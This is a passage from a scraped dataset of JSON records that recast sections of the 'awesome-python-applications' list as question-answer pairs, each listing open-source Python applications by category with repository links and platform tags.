music player designed around an infinite intelligent playlist, with support for headless playback. `(linux, mac)`\n  1. **MusicBrainz Picard** - ([Repo](https://github.com/metabrainz/picard), [Home](https://picard.musicbrainz.org/), [WP](https://en.wikipedia.org/wiki/MusicBrainz_Picard)) Automatically identify, tag, and organize music albums and other digital audio recordings. `(linux, windows, mac, qt)`\n  1. **PuddleTag** - ([Repo](https://github.com/keithgg/puddletag), [WP](https://en.wikipedia.org/wiki/Puddletag)) An audio tag (metadata) editor for audio file formats. `(linux, qt4)`\n  1. **Quod Libet** - ([Repo](https://github.com/quodlibet/quodlibet), [WP](https://en.wikipedia.org/wiki/Quod_Libet_%28software%29)) Cross-platform audio player, tag editor, and library organizer. `(linux, windows, mac, gtk)`\n  1. **SoundConverter** - ([Repo](https://github.com/kassoulet/soundconverter), [WP](https://en.wikipedia.org/wiki/GNOME_SoundConverter)) A GNOME-based audio file transcoder. `(linux, gtk)`\n  1. **SoundGrain** - ([Repo](https://github.com/belangeo/soundgrain), [Home](http://ajaxsoundstudio.com/software/soundgrain), [Fund](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=9CA99DH6ES3HA)) Graphical interface designed for drawing and editing trajectories to control [granular sound synthesis](https://en.wikipedia.org/wiki/Granular_synthesis). `(linux, windows, mac)`\n  1. **Stargate DAW** - ([Repo](https://github.com/stargatedaw/stargate)) All-in-one Digital Audio Workstation (DAW) with a suite of instrument and effect plugins. `(linux, windows, mac, qt56)`\n  1. **Supysonic** - ([Repo](https://github.com/spl0k/supysonic)) Implementation of the [Subsonic server API](http://www.subsonic.org/), with support for browsing, streaming, transcoding, scrobbling, and more. `(server)`\n  1. **Whipper** - ([Repo](https://github.com/whipper-team/whipper)) A CLI-based CD Audio ripper designed for accuracy over speed, with support for overriding hardware caches, accuracy verification, MusicBrainz metadata lookup, hidden tracks, FLAC, and much more. `(linux)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.006977"}
{"id": "gh_743a9df29f1b", "question": "How to: <a id=\"tag-video\" href=\"#tag-video\">Video</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Flowblade** - ([Repo](https://github.com/jliljebl/flowblade), [WP](https://en.wikipedia.org/wiki/Flowblade)) Multitrack, non-linear video editing software for Linux. `(linux, gtk)`\n  1. **Open Streaming Platform** - ([Repo](https://gitlab.com/Deamos/flask-nginx-rtmp-manager)) Self-hosted video streaming and recording server, designed as an alternative to Twitch and YouTube. `(games, server)`\n  1. **OpenShot** - ([Repo](https://github.com/OpenShot/openshot-qt), [Home](https://www.openshot.org/), [WP](https://en.wikipedia.org/wiki/OpenShot), [Fund](https://www.patreon.com/openshot)) A cross-platform video editor for FreeBSD, Linux, macOS, and Windows. `(linux, windows, mac, qt5)`\n  1. **Pitivi** - ([Repo](https://gitlab.gnome.org/GNOME/pitivi), [WP](https://en.wikipedia.org/wiki/Pitivi)) Non-linear video editor for Linux, based on GStreamer. `(linux, gtk)`\n  1. **Plumi** - ([Repo](https://github.com/plumi/plumi.app), [WP](https://en.wikipedia.org/wiki/Plumi)) Video sharing content management system based on [Plone](https://en.wikipedia.org/wiki/Plone_(software)). `(cms, server, plone)`\n  1. **PyVideo** - ([Repo](https://github.com/pyvideo/pyvideo), [Home](https://pyvideo.org/)) Static media index custom-built for the Python community, and all the content our meetings and conferences produce. `(static_site, linux, server)`\n  1. **Tautulli** - ([Repo](https://github.com/Tautulli/Tautulli), [Home](https://tautulli.com/), [Fund](https://www.patreon.com/Tautulli)) Web monitor for Plex Media Server. `(internet, server)`\n  1. **Vidcutter** - ([Repo](https://github.com/ozmartian/vidcutter)) GUI and CLI aiming to be the fastest and simplest way to cut and join video. `(linux, windows, mac)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.006987"}
{"id": "gh_12f6bed4aa95", "question": "How to: <a id=\"tag-ai\" href=\"#tag-ai\">AI/ML</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Aim** - ([Repo](https://github.com/aimhubio/aim), [Home](https://aimstack.io/), [Blog](https://aimstack.io/blog)) Aim is a self-hostable machine learning experiment tracker designed to handle 10,000s of training runs. `(linux, server, fastapi)`\n  1. **dvc (Data Version Control)** - ([Repo](https://github.com/iterative/dvc), [Home](https://dvc.org/), [Docs](https://dvc.org/doc)) Command-line tool for version control over data used in machine learning projects. Aims to replace Excel and other tools used to track and deploy model versions. `(organization, scm, linux, windows, mac)`\n  1. **MLflow** - ([Repo](https://github.com/mlflow/mlflow), [Home](https://mlflow.org/), [Docs](https://mlflow.org/docs/latest/index.html)) Integrated command-line application and web service, supporting an end-to-end machine-learning workflow around tracking, packaging, and deploying. Developed by [Databricks](https://docs.databricks.com/applications/mlflow/index.html). `(organization, dev, linux, mac, corp)`\n  1. **Polyaxon** - ([Repo](https://github.com/polyaxon/polyaxon), [Home](https://polyaxon.com/), [Docs](https://docs.polyaxon.com/)) A web-based platform for reproducible and scalable machine learning experiment management and metrics-tracking, based on kubernetes, with support for TensorFlow, PyTorch, Keras, and many more. `(dev, server)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.006995"}
{"id": "gh_f8c72e43af6a", "question": "How to: <a id=\"tag-graphics\" href=\"#tag-graphics\">Graphics</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **cartoonify / Draw This.** - ([Repo](https://github.com/danmacnish/cartoonify), [Home](https://www.kapwing.com/cartoonify)) Turn a photograph into a toddler's drawing. Automatically! `(console, docker, hardware)`\n  1. **Cura** - ([Repo](https://github.com/Ultimaker/Cura), [Home](https://ultimaker.com/software/ultimaker-cura), [WP](https://en.wikipedia.org/wiki/Cura_%28software%29), [Docs](https://ultimaker.com/en/resources/manuals/software)) Popular desktop software for preparation and control of 3D printing, integrated with CAD workflows. `(linux, windows, mac, corp, hardware)`\n  1. **DrawBot** - ([Repo](https://github.com/typemytype/drawbot), [Home](http://www.drawbot.com/), [WP](https://en.wikipedia.org/wiki/DrawBot)) A powerful programmatic 2D drawing application for MacOS X which generates graphics from Python scripts. `(education, dev, mac)`\n  1. **FreeCAD** - ([Repo](https://github.com/FreeCAD/FreeCAD), [WP](https://en.wikipedia.org/wiki/FreeCAD)) General-purpose parametric 3D CAD modeler and a building information modeling (BIM) software with finite-element-method (FEM) support. `(linux, windows, mac, cpp, qt)`\n  1. **Gaphor** - ([Repo](https://github.com/gaphor/gaphor), [Docs](https://gaphor.readthedocs.io/en/latest)) Simple [UML](https://en.wikipedia.org/wiki/Unified_Modeling_Language) modeling tool designed for beginners. `(docs, linux, windows, mac, flatpak, gtk)`\n  1. **Lector** - ([Repo](https://github.com/BasioMeusPuga/Lector)) Desktop ebook reader and browser, with support for many formats, including comic book archives. `(linux)`\n  1. **MakeHuman** - ([Repo](https://bitbucket.org/MakeHuman/makehuman), [WP](https://en.wikipedia.org/wiki/MakeHuman)) 3D computer graphics software designed for the prototyping of photo realistic humanoids. `(linux, windows, mac, qt)`\n  1. **Meshroom** - ([Repo](https://github.com/alicevision/meshroom), [Home](http://alicevision.github.io/)) Photogrammetry pipeline, for turning photographs into 3D models. `(linux, windows, mac, qt)`\n  1. **Mylar** - ([Repo](https://github.com/evilhero/mylar)) A web-based automated comic book downloader (cbr/cbz) for use with SABnzbd, NZBGet, and torrents. `(internet, linux)`\n  1. **MyPaint** - ([Repo](https://github.com/mypaint/mypaint), [Home](http://mypaint.org/), [WP](https://en.wikipedia.org/wiki/MyPaint)) Raster graphics editor for digital painters with a focus on painting rather than image manipulation. `(linux, windows, mac, gtk)`\n  1. **napari** - ([Repo](https://github.com/napari/napari), [Home](https://napari.org/), [Fund](https://numfocus.org/donate-to-napari)) A fast, interactive, multi-dimensional image viewer for annotation and analysis of large images. `(qt)`\n  1. **NFO Viewer** - ([Repo](https://github.com/otsaloma/nfoview), [Home](https://otsaloma.io/nfoview)) A simple viewer for NFO files and the ASCII art therein, with preset fonts, encodings, automatic window sizing, and clickable hyperlinks. `(misc, linux, windows)`\n  1. **OCRFeeder** - ([Repo](https://gitlab.gnome.org/GNOME/ocrfeeder), [WP](https://en.wikipedia.org/wiki/OCRFeeder)) An optical character recognition suite for GNOME, with support for command-line OCR engines like CuneiForm, GOCR, Ocrad and Tesseract. `(linux, gtk)`\n  1. **OCRopus** - ([Repo](https://github.com/tmbdev/ocropy), [WP](https://en.wikipedia.org/wiki/OCRopus)) Document analysis and optical character recognition (OCR) system. `(linux, mac, console)`\n  1. **Octoprint** - ([Repo](https://github.com/foosel/OctoPrint), [Home](https://octoprint.org/), [Fund](https://www.patreon.com/foosel)) Web-based controller for consumer 3D printers. `(server, flask, hardware)`\n  1. **PhotoCollage** - ([Repo](https://github.com/adrienverge/PhotoCollage)) Automatically lays out a photo collage to fill out a given poster space. `(linux, gtk)`\n  1. **Photonix** - ([Repo](https://github.com/damianmoore/photonix), [Home](https://photonix.org/), [Demo](https://demo.photonix.org/)) Web-based photo management, featuring smart filtering with object recognition, location awareness, color analysis, and more. `(server)`\n  1. **Pynocchio** - ([Repo](https://github.com/mstuttgart/pynocchio), [Home](https://mstuttgart.github.io/pynocchio)) Minimalist comic reader, supporting many common image and archive formats. `(linux)`\n  1. **Quru Image Server** - ([Repo](https://github.com/quru/qis), [Home](https://www.quruimageserver.com/), [Demo](https://images.quru.com/demo), [Docs](https://github.com/quru/qis/blob/master/doc/overview.md)) High-performance web server for creating and delivering dynamic images. `(server)`\n  1. **SK1** - ([Repo](https://github.com/sk1project/sk1-wx), [Home](https://sk1project.net/), [WP](https://en.wikipedia.org/wiki/SK1_%28program%29)) Feature-rich, cross-platform illustration program. `(linux, windows, mac, gtk, wx)`\n  1. **Thumbor** - ([Repo](https://github.com/thumbor/thumbor), [Home](http://thumbor.org/), [Docs](https://thumbor.readthedocs.io/)) Photo thumbnail service with resizing, fli", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007010"}
{"id": "gh_3413a4ccffb3", "question": "How to: <a id=\"tag-games\" href=\"#tag-games\">Games</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Cataclysm: Dark Days Ahead (Launcher)** - ([Repo](https://github.com/remyroy/CDDA-Game-Launcher), [Home](https://cataclysmdda.org/)) Launcher for popular FOSS game [CDDA](https://cataclysmdda.org/), which supports automatic updates and mod management. `(linux, windows, mac)`\n  1. **Frets on Fire X** - ([Repo](https://github.com/fofix/fofix)) Highly customizable rhythm game supporting many modes of guitar, bass, drum, and vocal gameplay for up to four players. `(linux, windows, pygame)`\n  1. **Lucas Chess** - ([Repo](https://github.com/lukasmonk/lucaschess), [Home](http://lucaschess.pythonanywhere.com/)) Featureful chess client for Windows, with some Linux support. `(linux, windows, qt4)`\n  1. **Lutris** - ([Repo](https://github.com/lutris/lutris), [Home](https://lutris.net/), [WP](https://en.wikipedia.org/wiki/Lutris), [Fund](https://www.patreon.com/lutris)) Gaming platform for GNU/Linux, managing game installations with a unified interface. `(linux, gtk)`\n  1. **Open Streaming Platform** - ([Repo](https://gitlab.com/Deamos/flask-nginx-rtmp-manager)) Self-hosted video streaming and recording server, designed as an alternative to Twitch and YouTube. `(video, server)`\n  1. **PyChess** - ([Repo](https://github.com/pychess/pychess), [Home](http://pychess.org/), [WP](https://en.wikipedia.org/wiki/PyChess)) Advanced chess client, suitable for new, casual, and competitive play. `(linux, windows, gtk)`\n  1. **Pyfa** - ([Repo](https://github.com/pyfa-org/Pyfa)) Python Fitting Assistant, cross-platform experimentation tool for [EVE Online](https://en.wikipedia.org/wiki/Eve_Online) ship fittings. `(linux, windows, mac)`\n  1. **PySolFC** - ([Repo](https://github.com/shlomif/PySolFC), [Home](https://pysolfc.sourceforge.io/), [Android](https://f-droid.org/en/packages/org.lufebe16.pysolfc)) Highly-portable collection of solitaire card games. `(linux, windows, android, kivy, tk)`\n  1. **term2048** - ([Repo](https://github.com/bfontaine/term2048), [PyPI](https://pypi.python.org/pypi/term2048)) TUI version of [2048](http://gabrielecirulli.github.io/2048/). `(linux, mac, tui)`\n  1. **Unknown Horizons** - ([Repo](https://github.com/unknown-horizons/unknown-horizons), [Home](http://unknown-horizons.org/)) 2D real-time strategy simulation with an emphasis on economy and city building. (Not unlike Age of Empires) `(linux, windows, mac)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007020"}
{"id": "gh_4568d44b4317", "question": "How to: <a id=\"tag-productivity\" href=\"#tag-productivity\">Productivity</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Autokey** - ([Repo](https://github.com/autokey/autokey), [WP](https://en.wikipedia.org/wiki/AutoKey), [PyPI](https://pypi.org/project/autokey)) Desktop automation utility for Linux and X11. `(linux, gtk, qt)`\n  1. **Bleachbit** - ([Repo](https://github.com/bleachbit/bleachbit), [Home](https://www.bleachbit.org/)) System cleaner designed to free disk space and maintain privacy. `(linux, windows, gtk)`\n  1. **BorgBackup** - ([Repo](https://github.com/borgbackup/borg), [Home](https://www.borgbackup.org/)) Deduplicating backup system with optional encryption and other features. `(linux)`\n  1. **Bup** - ([Repo](https://github.com/Bup/Bup), [Home](https://bup.github.io/)) Efficient backup system based on the git packfile format, providing fast incremental saves and global deduplication. `(linux, mac)`\n  1. **Duplicity** - ([Repo](https://gitlab.com/duplicity/duplicity), [Home](https://duplicity.us/), [Docs](https://duplicity.us/docs.html)) Encrypted bandwidth-efficient backup tool, using the rsync algorithm. `(storage, linux)`\n  1. **Excalibur** - ([Repo](https://github.com/camelot-dev/excalibur)) Web interface to extract tabular data from PDFs. `(linux, windows)`\n  1. **Glances** - ([Repo](https://github.com/nicolargo/glances), [Home](https://nicolargo.github.io/glances), [Docs](https://glances.readthedocs.io/en/stable)) A cross-platform top/htop alternative, providing an overview of system resources. `(ops, linux, windows, mac, server)`\n  1. **gmvault** - ([Repo](https://github.com/gaubert/gmvault), [Home](http://gmvault.org/)) Tool for backing up gmail accounts. `(linux, windows, mac, qt5)`\n  1. **Gridsync** - ([Repo](https://github.com/gridsync/gridsync)) Cross-platform GUI built to synchronize local directories with Tahoe-LAFS storage grids. `(storage, linux, windows, mac)`\n  1. **GTimeLog** - ([Repo](https://github.com/gtimelog/gtimelog), [Home](https://gtimelog.org/), [Fund](https://ko-fi.com/mgedmin), [Docs](https://gtimelog.org/docs.html)) Desktop-based time tracker with support for logging billable/non-billable work. `(organization, linux, windows, mac)`\n  1. **Kibitzr** - ([Repo](https://github.com/kibitzr/kibitzr), [Home](https://kibitzr.github.io/), [PyPI](https://pypi.org/project/kibitzr), [Docs](https://kibitzr.readthedocs.io/)) Self-hosted personal assistant server for automating routine tasks. `(server)`\n  1. **Mackup** - ([Repo](https://github.com/lra/mackup), [PyPI](https://pypi.org/project/mackup)) Utility to back up and synchronize application settings, with support for several storage backends (e.g., Dropbox, Git), and dozens of applications. `(linux, mac)`\n  1. **Metamorphose** - ([Repo](https://github.com/metamorphose/metamorphose2), [Home](http://file-folder-ren.sourceforge.net/)) Graphical mass renaming program for files and folders. `(linux, windows, mac, wx)`\n  1. **Nuxeo Drive** - ([Repo](https://github.com/nuxeo/nuxeo-drive), [Home](https://www.nuxeo.com/products/drive-desktop-sync), [Docs](https://doc.nuxeo.com/client-apps/nuxeo-drive)) Cross-platform desktop synchronization client for the Nuxeo platform. `(storage, linux, windows, mac, console, appimage, lgpl, qt5)`\n  1. **nvda** - ([Repo](https://github.com/nvaccess/nvda), [Home](https://www.nvaccess.org/)) Non-Visual Desktop Access, a powerful screen reader for Windows. `(windows, wx)`\n  1. **OCRmyPDF** - ([Repo](https://github.com/ocrmypdf/ocrmypdf), [Fund](https://opencollective.com/james-barlow), [Snap](https://snapcraft.io/ocrmypdf), [Docs](http://ocrmypdf.readthedocs.io/)) Adds an OCR text layer to scanned PDF files, enabling text search and selection. `(console)`\n  1. **PDF Arranger** - ([Repo](https://github.com/pdfarranger/pdfarranger), [Snap](https://snapcraft.io/pdfarranger)) Merge and split PDF documents, as well as crop and rearrange pages. `(linux, windows, gtk)`\n  1. **Plover** - ([Repo](https://github.com/openstenoproject/plover), [Home](https://www.openstenoproject.org/plover), [Fund](https://www.openstenoproject.org/donate), [Docs](https://github.com/openstenoproject/plover/wiki)) Background service for automatic translation of stenography movements to keystrokes, enabling typing speeds in excess of 200WPM in any application. `(linux, windows, mac, hardware, qt5)`\n  1. **Psono** - ([Repo](https://gitlab.com/psono/psono-server), [Home](https://psono.com/), [Demo](https://www.psono.pw/), [Docs](https://doc.psono.com/)) Server-based password manager, built for teams. `(security, server)`\n  1. **Ranger** - ([Repo](https://github.com/ranger/ranger), [Home](https://ranger.github.io/)) TUI ([Text User Interface](https://en.wikipedia.org/wiki/Text-based_user_interface)) file manager, inspired by vim. `(linux, tui)`\n  1. **Redash** - ([Repo](https://github.com/getredash/redash), [Home](https://redash.io/)) Data visualization and dashboard construction geared toward business intelligence, used by Mozilla, SoundCloud, Sentry, and others. `(server, flask)`\n  1. **ReproZip** - ([Repo](https://github.com/VIDA-NYU/reprozip", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007035"}
{"id": "gh_9d47aea5890e", "question": "How to: <a id=\"tag-organization\" href=\"#tag-organization\">Organization</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Ambar** - ([Repo](https://github.com/RD17/ambar), [Home](https://ambar.cloud/), [Demo](https://app.ambar.cloud/), [Docs](https://ambar.cloud/docs/system-requirements)) Document search engine with automated crawling, OCR, tagging, and instant full-text search. `(server)`\n  1. **ArchiveBox** - ([Repo](https://github.com/pirate/ArchiveBox), [Home](https://archivebox.io/), [Docs](https://github.com/pirate/ArchiveBox/wiki)) Self-hosted web archive, for creating local, browsable backups of content from the web. Imports HTML, JS, PDFs, video, subtitles, git repositories, and more, from Pocket, Pinboard, browser history, etc. `(internet, linux, windows, docker)`\n  1. **archivematica** - ([Repo](https://github.com/artefactual/archivematica), [Home](https://www.archivematica.org/en), [Docs](https://www.archivematica.org/en/docs)) Digital preservation system designed to maintain standards-based, long-term access to collections of digital objects, targeted at archivists and librarians. `(internet, server)`\n  1. **Baby Buddy** - ([Repo](https://github.com/cdubz/babybuddy), [Demo](http://demo.baby-buddy.net/)) Mobile-friendly web application which helps caregivers track sleep, feedings, diaper changes, and tummy time to learn about and predict baby's needs without (as much) guesswork. `(server)`\n  1. **Baserow** - ([Repo](https://gitlab.com/bramw/baserow), [Home](https://baserow.io/), [gh](https://github.com/bram2w/baserow), [Docs](https://baserow.io/docs)) Web-based no-code persistence platform, like a database meets a spreadsheet, with a REST API. `(storage, server, django)`\n  1. **beancount** - ([Repo](https://bitbucket.org/blais/beancount), [Home](http://furius.ca/beancount), [gh](https://github.com/beancount/beancount), [PyPI](https://pypi.org/project/beancount), [Docs](https://docs.google.com/document/d/1RaondTJCS_IUPBHFNdT8oqFKJjVJDsfsn6JEjBG04eA/edit)) A double-entry bookkeeping language to define financial transaction records in plain text, then generate a variety of reports, via CLI and web interface. (See also, [Plain Text Accounting](https://plaintextaccounting.org/)). `(linux, windows, mac)`\n  1. **Bookwyrm** - ([Repo](https://github.com/bookwyrm-social/bookwyrm), [Home](https://bookwyrm.social/)) Social reading and reviewing, decentralized with ActivityPub. `(internet, communication, server, django)`\n  1. **buku** - ([Repo](https://github.com/jarun/buku), [Fund](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=RMLTQ76JSXJ4Q), [Docs](https://github.com/jarun/buku/wiki)) Browser-independent bookmark manager with CLI and web server frontends, with integrations for browsers, cloud-based bookmark managers, and emacs. `(internet, linux, windows, mac, server)`\n  1. **Byro** - ([Repo](https://github.com/byro/byro), [Docs](https://byro.readthedocs.io/)) Web-based membership administration tool for small and medium sized clubs/NGOs/associations of all kinds, with a focus on the DACH region. `(server)`\n  1. **Calibre** - ([Repo](https://github.com/kovidgoyal/calibre), [Home](https://calibre-ebook.com/), [WP](https://en.wikipedia.org/wiki/Calibre_%28software%29), [Fund](https://www.patreon.com/kovidgoyal)) E-book manager designed for viewing, converting, editing, and cataloging e-books in all major formats. `(linux, windows, mac, qt5)`\n  1. **Calibre-Web** - ([Repo](https://github.com/janeczku/calibre-web)) Web application providing a clean interface for browsing, reading, and downloading ebooks using an existing [Calibre](https://calibre-ebook.com/) database. `(linux)`\n  1. **CherryTree** - ([Repo](https://github.com/giuspen/cherrytree), [Home](https://www.giuspen.com/cherrytree)) Hierarchical wiki-like personal notepad, featuring rich text and syntax highlighting. `(linux, windows, gtk)`\n  1. **Collaborate** - ([Repo](https://github.com/propublica/django-collaborative), [Docs](https://propublica.gitbook.io/collaborate-user-manual)) Web-based collaboration tool designed by [Propublica](https://www.propublica.org/nerds/making-collaborative-data-projects-easier-our-new-tool-collaborate-is-here) for newsrooms to share datasets, with a workflow built around assigning tips and maintaining contacts. `(communication, server)`\n  1. **CouchPotato** - ([Repo](https://github.com/CouchPotato/CouchPotatoServer), [Home](http://couchpota.to/)) Personal video recorder focused on movies, with support for usenet and torrents. `(linux, windows, mac)`\n  1. **dupeGuru** - ([Repo](https://github.com/arsenetar/dupeguru), [Home](https://dupeguru.voltaicideas.net/), [Docs](https://dupeguru.voltaicideas.net/help/en)) Cross-platform GUI tool to find duplicate files. `(linux, windows, mac)`\n  1. **dvc (Data Version Control)** - ([Repo](https://github.com/iterative/dvc), [Home](https://dvc.org/), [Docs](https://dvc.org/doc)) Command-line tool for version control over data used in machine learning projects. Aims to replace Excel and other tools used to track and deploy model versions. `(ai, scm, linux, windows, mac)`\n  1.", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007063"}
{"id": "gh_e0ae9f8935d4", "question": "How to: <a id=\"tag-communication\" href=\"#tag-communication\">Communication</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Abilian SBE** - ([Repo](https://github.com/abilian/abilian-sbe), [Home](https://www.abilian.com/)) A \"Social Business Engine\" with features including lightweight document management, discussions, wikis, timelines, and more. `(cms, server)`\n  1. **Askbot** - ([Repo](https://github.com/ASKBOT/askbot-devel), [Home](https://askbot.com/)) Q&A web platform similar to StackOverflow, complete with tagging, reputation, badges, and more. `(server, corp)`\n  1. **Bitmessage** - ([Repo](https://github.com/Bitmessage/PyBitmessage), [Docs](https://bitmessage.org/wiki/Main_Page)) Reference client for Bitmessage, a peer-to-peer encrypted decentralised communication protocol. `(linux, windows, mac, kivy, qt4, tui)`\n  1. **Bookwyrm** - ([Repo](https://github.com/bookwyrm-social/bookwyrm), [Home](https://bookwyrm.social/)) Social reading and reviewing, decentralized with ActivityPub. `(internet, organization, server, django)`\n  1. **Collaborate** - ([Repo](https://github.com/propublica/django-collaborative), [Docs](https://propublica.gitbook.io/collaborate-user-manual)) Web-based collaboration tool designed by [Propublica](https://www.propublica.org/nerds/making-collaborative-data-projects-easier-our-new-tool-collaborate-is-here) for newsrooms to share datasets, with a workflow built around assigning tips and maintaining contacts. `(organization, server)`\n  1. **dak** - ([Repo](https://salsa.debian.org/ftp-team/dak)) Collection of programs used to maintain the Debian project's email archives. `(linux)`\n  1. **Django Wiki** - ([Repo](https://github.com/django-wiki/django-wiki), [Demo](https://demo.django-wiki.org/), [Docs](https://django-wiki.readthedocs.io/en/latest)) A simple and mature web-based wiki. `(server)`\n  1. **Docassemble** - ([Repo](https://github.com/jhpyle/docassemble), [Home](https://docassemble.org/), [Docs](https://docassemble.org/docs.html)) Platform for creating mobile-friendly web-based interviews, collecting responses, and much more. `(server)`\n  1. **Formspree** - ([Repo](https://github.com/formspree/formspree), [Home](https://formspree.io/)) Web server which turns an HTML form submission into an email, without registration, JavaScript, or custom Python. `(server, corp)`\n  1. **Gajim** - ([Repo](https://dev.gajim.org/gajim/gajim), [WP](https://en.wikipedia.org/wiki/Gajim)) Lightweight, cross-platform instant messaging client for the XMPP protocol. `(linux, windows, mac, gtk)`\n  1. **GlobaLeaks** - ([Repo](https://github.com/globaleaks/GlobaLeaks), [Home](https://www.globaleaks.org/)) Web application to enable secure and anonymous whistleblowing initiatives. `(server)`\n  1. **Hangups** - ([Repo](https://github.com/tdryer/hangups), [Snap](https://snapcraft.io/hangups), [Docs](https://hangups.readthedocs.io/en/latest)) Third-party instant messenger for [Google Hangouts](https://en.wikipedia.org/wiki/Google_Hangouts), with support for group messaging and other proprietary features. `(linux, mac, docker, snap)`\n  1. **Hawkpost** - ([Repo](https://github.com/whitesmith/hawkpost), [Home](https://hawkpost.co/)) Web application which enables receiving encrypted messages from less technical senders. `(server)`\n  1. **Helios Voting** - ([Repo](https://github.com/benadida/helios-server), [Home](http://heliosvoting.org/)) End-to-end verifiable voting system. `(server)`\n  1. **Inboxen** - ([Repo](https://github.com/Inboxen/Inboxen), [Home](https://inboxen.org/), [Docs](https://inboxen.readthedocs.io/en/latest)) Web application which provides an infinite number of unique email inboxes, for segmenting services and maintaining privacy. `(server)`\n  1. **Indico** - ([Repo](https://github.com/indico/indico), [Home](https://getindico.io/), [Demo](https://sandbox.getindico.io/), [Docs](https://docs.getindico.io/en/stable/installation)) Feature-rich web application designed at [CERN](https://en.wikipedia.org/wiki/CERN) for managing events, with support for conference organization workflow, from content management to receiving and reviewing abstracts/papers, event registration, payment integration, room booking, and more. `(organization, server)`\n  1. **Magic Wormhole** - ([Repo](https://github.com/warner/magic-wormhole), [PyPI](https://pypi.org/project/magic-wormhole), [Docs](https://magic-wormhole.readthedocs.io/en/latest)) Security- and speed-focused file transfer tool with support for files, text, and directories. `(linux, mac, console)`\n  1. **Mailman** - ([Repo](https://gitlab.com/mailman/mailman), [Home](http://www.list.org/), [WP](https://en.wikipedia.org/wiki/GNU_Mailman)) The original listserv, a web application and email server for managing subscriptions and discussion archives. `(server)`\n  1. **Mailpile** - ([Repo](https://github.com/mailpile/Mailpile), [Home](https://mailpile.is/)) Fast email client with user-friendly encryption and privacy features. `(linux, windows, mac)`\n  1. **Mailu** - ([Repo](https://github.com/Mailu/Mailu), [Home](https://mailu.io/)) Full-featured mail server designed for easy setup an", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007085"}
{"id": "gh_c49b799380e6", "question": "How to: <a id=\"tag-education\" href=\"#tag-education\">Education</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Anki** - ([Repo](https://github.com/dae/anki), [Home](https://apps.ankiweb.net/), [Docs](https://apps.ankiweb.net/docs/manual.html)) Powerful desktop application for flash cards and memorization. `(linux, windows, mac, qt5)`\n  1. **DrawBot** - ([Repo](https://github.com/typemytype/drawbot), [Home](http://www.drawbot.com/), [WP](https://en.wikipedia.org/wiki/DrawBot)) A powerful programmatic 2D drawing application for MacOS X which generates graphics from Python scripts. `(graphics, dev, mac)`\n  1. **explainshell.com** - ([Repo](https://github.com/idank/explainshell), [Home](https://www.explainshell.com/)) A web-based tool to match command-line arguments to their man pages and help text. `(dev, server, flask)`\n  1. **Kolibri** - ([Repo](https://github.com/learningequality/kolibri), [Home](https://learningequality.org/kolibri), [Demo](https://kolibridemo.learningequality.org/), [PyPI](https://pypi.org/project/kolibri), [Docs](https://kolibri.readthedocs.io/en/latest)) Self-hostable learning web application targeted at making high quality education technology available in low-resource communities (e.g., rural schools, refugee camps, orphanages, non-formal school systems, and prison systems). `(server)`\n  1. **Mnemosyne** - ([Repo](https://github.com/mnemosyne-proj/mnemosyne), [Home](https://mnemosyne-proj.org/)) Spaced-repetition flashcard program for efficient memorization. `(linux, windows, mac, qt5)`\n  1. **NBGrader** - ([Repo](https://github.com/jupyter/nbgrader), [Docs](https://nbgrader.readthedocs.io/en/stable)) Jupyter-based application which enables educators to create, assign, and grade assignments in notebook form. `(server)`\n  1. **Open edX Platform** - ([Repo](https://github.com/edx/edx-platform), [Home](http://open.edx.org/), [WP](https://en.wikipedia.org/wiki/EdX#Open_edX)) Platform for online education providers, powering [edX](https://en.wikipedia.org/wiki/EdX). `(server)`\n  1. **RELATE** - ([Repo](https://github.com/inducer/relate), [Docs](https://documen.tician.de/relate)) Web-based courseware with support for course planning and versioning, scheduling, testing, and grading. `(server)`\n  1. **Tutor** - ([Repo](https://github.com/overhangio/tutor), [Docs](https://docs.tutor.overhang.io/)) Docker-based Open edX distribution, both for production and local development, with a goal of easing deployment, customization, upgrading, and scaling. `(server)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, 